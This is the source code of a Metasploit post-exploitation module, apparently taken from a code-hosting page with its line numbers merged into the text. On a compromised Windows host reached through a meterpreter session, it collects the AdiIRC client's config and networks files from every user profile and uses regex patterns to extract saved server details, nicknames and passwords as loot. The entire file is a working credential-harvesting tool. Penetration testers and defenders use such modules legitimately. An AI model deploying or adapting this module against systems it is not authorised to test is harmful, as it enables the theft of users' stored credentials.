Path: blob/master/modules/post/windows/gather/credentials/adi_irc.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::UserProfiles8include Msf::Post::Windows::Packrat9ARTIFACTS =10{11application: 'Adi IRC',12app_category: 'IRC',13gatherable_artifacts: [14{15filetypes: 'quick_connect',16path: 'LocalAppData',17dir: 'AdiIRC',18artifact_file_name: 'config',19description: 'Quick Connect Server Details',20credential_type: 'text',21regex_search: [22{23extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',24extraction_type: 'credentials',25regex: [26'(?i-mx:Serverhost=.*)',27'(?i-mx:Serverport=.*)',28'(?i-mx:Usernick=.*)',29'(?i-mx:QuickPassword=.*)'30]31}32]33},34{35filetypes: 'Networks',36path: 'LocalAppData',37dir: 'AdiIRC',38artifact_file_name: 'networks',39description: 'Saved Networks',40credential_type: 'text'41}42]43}.freeze4445def initialize(info = {})46super(47update_info(48info,49'Name' => 'Adi IRC Credential Gatherer',50'Description' => %q{51This module searches for credentials stored on AdiIRC Client on a Windows host.52},53'License' => MSF_LICENSE,54'Author' => [55'Jacob Tierney',56'Kazuyoshi Maruta',57'Daniel Hallsworth',58'Barwar Salim M',59'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org60],61'Platform' => ['win'],62'SessionTypes' => ['meterpreter'],63'Notes' => {64'Stability' => [CRASH_SAFE],65'Reliability' => [],66'SideEffects' => []67}68)69)7071register_options(72[73OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),74OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),75# enumerates the options based on the artifacts that are defined below76OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])77]78)79end8081def run82print_status('Filtering based on these selections: ')83print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")84print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")85print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")8687# used to grab files for each user on the remote host88grab_user_profiles.each do |userprofile|89run_packrat(userprofile, ARTIFACTS)90end9192print_status 'PackRat credential sweep completed'93end94end959697